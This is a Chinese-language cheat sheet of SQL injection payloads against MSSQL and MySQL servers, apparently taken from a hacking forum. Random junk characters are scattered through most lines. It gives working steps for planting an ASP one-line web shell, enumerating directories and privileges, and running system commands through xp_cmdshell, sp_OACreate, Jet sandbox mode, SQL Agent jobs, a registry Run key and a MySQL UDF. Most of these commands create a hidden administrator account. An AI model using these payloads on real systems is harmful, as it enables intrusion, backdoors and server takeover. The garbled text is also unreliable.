MSSQL语句导出一句话木马! t# i8 e. v* R! o
首先确定网站的WEB路径
- \" n* W/ a. }- X+ x6 d1 \0 v8 M;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马5 G- }. H, R2 m+ t
. v8 `8 ?4 m2 a;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
0 C: t0 d* s3 U$ J8 V5 d1 K//将一句话木马插入表中
1 o8 c) @' G9 o3 k1 F+ M& d: j# T' G+ t$ o( ^
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- % {, j2 W( A1 u" h
//导出一个ASP文件# m1 T$ z' b% Q: @: G
% [4 y, M2 f" s
# `% O4 w6 c+ B7 }# u! n
关于MSSQL列目录
8 {8 o# v7 y) `9 q0 P;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
+ O7 L2 G- A* q" s* H8 r, D- \Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表* K: W4 [. D8 N) _
0 y$ x) F( s% P" `3 aand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
$ K! ]# M, S9 I* J+ e6 p% e+ \' }- s
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段1 q) [% L! W4 t: i
8 w" y4 ^; S2 a5 K/ n( D
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
: O' r) p/ [3 v, u/ f2 i7 J8 X4 t5 F4 D# w! a( k% o' u) \" C
/ ^ V. ^+ h/ {0 ?2 {- P" W x0 I
数据库版本和权限查看 t+ d* _; T. e0 f$ f
and 1=(select @@VERSION) //查看详细的数据库信息.
7 F: R1 S* R# @7 j2 h! Dand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA) |# \3 E X6 f4 q( u
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
+ s. X+ T5 F. S0 i( ]' j1 m/ z1 ?) ?
. Z# I# q1 z# e. T: Z1.利用xp_cmdshell执行命令
. r! B% x8 p; t8 b* |exec master..xp_cmdshell 'net user rfire 123456 /add'6 w7 v, D) U) p# Z' L! X. b
exec master..xp_cmdshell 'net localgroup administrators rfire /add'$ m2 Q' q7 o2 \( L1 a! ^
+ _. M, W9 j, \7 Q0 B
恢复xp_cmdshell存储过程
, y- w* c' u* n" p9 LExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'! P( H, v4 c+ Y( d/ g q
7 x$ L% Y1 A8 ~$ a4 ?! o' M4 c! |' \ V( P) |) F. c
2.利用SP_OAcreate和SP_OAMETHOD执行命令
* L5 i S `0 [9 t3 N+ T在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
2 L9 g' U' |) O* \% TDECLARE @shell INT //建立一个@shell实体
- }% f/ ~% g3 H2 |, ^, p" gEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例4 _% l; E( b* [9 G
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
* C+ D1 _, e- i9 G4 k: c& s0 S, y8 _& `( a& M5 V: y
# e$ x! Z3 { f3 d3.利用沙盒模式( i% ~/ Y( K6 j/ s3 h+ G% t3 D6 I
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。# C' |/ r% g. `, T: E- C- L& G# b
开启沙盒模式:
+ w1 k) d, D9 j+ xEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0* p9 ^$ x& G2 n1 |- n/ a8 ~ ^. a
+ C1 ]6 H* v) ~4 q执行命令:0 p( N& z6 m3 S$ \. C& w
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
3 g5 F; b) W/ y/ d: V3 V3 m, G. ^. i3 j+ [
2 s& z# ~! H2 |; }# H
4.利用SQL代理执行命令
# D, }+ U; n' k( }8 k. a( ]EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务 P& g9 |8 ~$ ?8 x( l
6 w4 x; M, g# k: T# x
执行命令:" E2 b) r4 e6 X) }! j: I
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
# @4 J! e% y4 f3 v" Zexec sp_add_job 'x'
6 N; E0 q3 Q3 J0 S6 k8 l4 Y$ N* @2 t: lexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
* V- J4 z$ N: R2 N0 Y1 vexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
3 }* a0 V# L2 J q0 d
* v& w- D% z4 s# y5 O; X7 `
J% V3 p; P( q8 h' W3 x5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
' V6 f9 U1 Z, O& f+ O. DEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'" h/ R/ [. Z, l3 o7 P9 N$ c
0 E$ J5 [6 E' g& J! m1 F+ O( v0 z
& K' b x/ i: h6 h7 |6.MYSQL的命令执行
, H) \ S" v, B# v7 wMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)0 d0 ^% {- u! N5 z/ \6 U& ^
首先要在su.php下导出c:\windows\udf.dll
- |# M1 S5 b1 ]5 x! |9 w导出后执行创建自定义函数命令:
* q5 N" v7 U5 JCreate Function cmdshell returns string soname 'udf.dll'
4 ?2 }+ }- G0 Q6 B! a执行命令- u9 _$ X* f' S9 N: _' J, e
select cmdshell('net user rfire 123456 /add')
8 F5 A" `5 `6 s, C8 n; x5 B. C执行后删除函数 drop function cmdshell
) j$ l' g5 ~) z2 K4 D. a! c |